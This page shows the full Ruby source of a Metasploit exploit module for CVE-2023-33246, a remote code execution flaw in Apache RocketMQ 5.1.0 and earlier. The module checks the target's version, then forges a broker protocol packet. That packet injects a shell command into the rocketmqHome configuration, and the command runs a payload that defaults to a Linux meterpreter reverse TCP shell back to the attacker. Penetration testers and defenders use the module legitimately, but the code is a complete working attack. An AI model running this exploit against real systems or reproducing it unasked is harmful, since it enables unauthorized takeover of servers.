Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/apache_rocketmq_update_config.rb
31559 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
include Msf::Auxiliary::Rocketmq
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Apache RocketMQ update config RCE',
19
'Description' => %q{
20
RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code Injection. Broker component of RocketMQ is
21
leaked on the extranet and lack permission verification. An attacker can exploit this vulnerability by using
22
the update configuration function to execute commands as the system users that RocketMQ is running as.
23
Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content.
24
},
25
'Author' => [
26
'Malayke', # PoC
27
'jheysel-r7', # module - RCE portion
28
'h00die', # module - Version detection & parsing
29
],
30
'References' => [
31
[ 'URL', 'https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT#usage-examples'],
32
[ 'CVE', '2023-33246']
33
],
34
'License' => MSF_LICENSE,
35
'Privileged' => false,
36
'Targets' => [
37
[
38
'Automatic (Unix In-Memory)',
39
{
40
'Platform' => %w[unix linux],
41
'Arch' => ARCH_CMD,
42
'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' },
43
'Type' => :nix_memory
44
}
45
],
46
],
47
'Payload' => {
48
'BadChars' => "\x27"
49
},
50
'DefaultOptions' => {
51
'WfsDelay' => 60
52
},
53
'DefaultTarget' => 0,
54
'DisclosureDate' => '2023-05-23',
55
'Notes' => {
56
'Stability' => [ CRASH_SAFE ],
57
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
58
'Reliability' => [ REPEATABLE_SESSION ]
59
}
60
)
61
)
62
63
register_options(
64
[
65
OptPort.new('RPORT', [true, 'The RocketMQ NameServer port', 9876]),
66
OptPort.new('BROKER_PORT', [false, 'The RocketMQ Broker port. If left unset the module will attempt to retrieve the Broker port from the NameServer response (recommended)', 10911])
67
]
68
)
69
end
70
71
def check
72
@version_request_response = send_version_request
73
return Exploit::CheckCode::Unknown('Unable to determine the version') unless @version_request_response
74
75
@parsed_data = parse_rocketmq_data(@version_request_response)
76
return Exploit::CheckCode::Unknown('RocketMQ did not respond to the request for version information') unless @parsed_data['version']
77
78
version = Rex::Version.new(@parsed_data['version'].gsub('V', ''))
79
return Exploit::CheckCode::Unknown('Unable to determine the version') unless version
80
81
if version > Rex::Version.new('5.0.0')
82
return Exploit::CheckCode::Appears("RocketMQ version: #{version}") if version <= Rex::Version.new('5.1.0')
83
elsif version <= Rex::Version.new('4.9.5')
84
return Exploit::CheckCode::Appears("RocketMQ version: #{version}")
85
end
86
Exploit::CheckCode::Safe("RocketMQ version: #{version}")
87
end
88
89
def execute_command(cmd, opts = {})
90
data = '`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1
91
rocketmqHome=' + cmd.encode('UTF-8') + "\x3b\x0a"
92
header = [data.length + 3].pack('N') + "\x00\x00\x00"
93
payload = header + data
94
95
begin
96
vprint_status("Payload command to be executed: #{cmd}")
97
sock = connect(true, { 'RHOST' => datastore['RHOST'], 'RPORT' => opts[:broker_port].to_i })
98
vprint_status("Payload is #{data}")
99
sock.put(payload)
100
rescue Rex::ConnectionError, ::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e
101
fail_with(Failure::Unreachable, "Unable to connect: #{e.class} #{e.message}")
102
end
103
end
104
105
def on_new_session(session)
106
print_status('Removing the payload from where it was injected into $ROCKETMQ_HOME. The FilterServerManager class will execute the payload every 30 seconds until this is reverted')
107
108
if session.type == 'meterpreter'
109
pwd = session.fs.dir.pwd
110
else
111
pwd = session.shell_command_token('pwd')
112
end
113
114
# The session returned by the exploit spawns inside $ROCKETMQ_HOME/bin
115
pwd.gsub!('/bin', '')
116
print_good("Determined the original $ROCKETMQ_HOME: #{pwd}")
117
print_status('Re-running the exploit in order to reset the proper $ROCKETMQ_HOME value')
118
119
execute_command(pwd, { broker_port: @broker_port })
120
end
121
122
def exploit
123
@version_request_response ||= send_version_request
124
@parsed_data ||= parse_rocketmq_data(@version_request_response)
125
@broker_port = get_broker_port(@parsed_data, datastore['rhost'], default_broker_port: datastore['BROKER_PORT'])
126
print_status("Executing target: #{target.name} with payload #{datastore['PAYLOAD']} on Broker port: #{@broker_port}")
127
execute_command("-c $@|sh . echo bash -c '#{payload.encoded}'", { broker_port: @broker_port })
128
end
129
end
130
131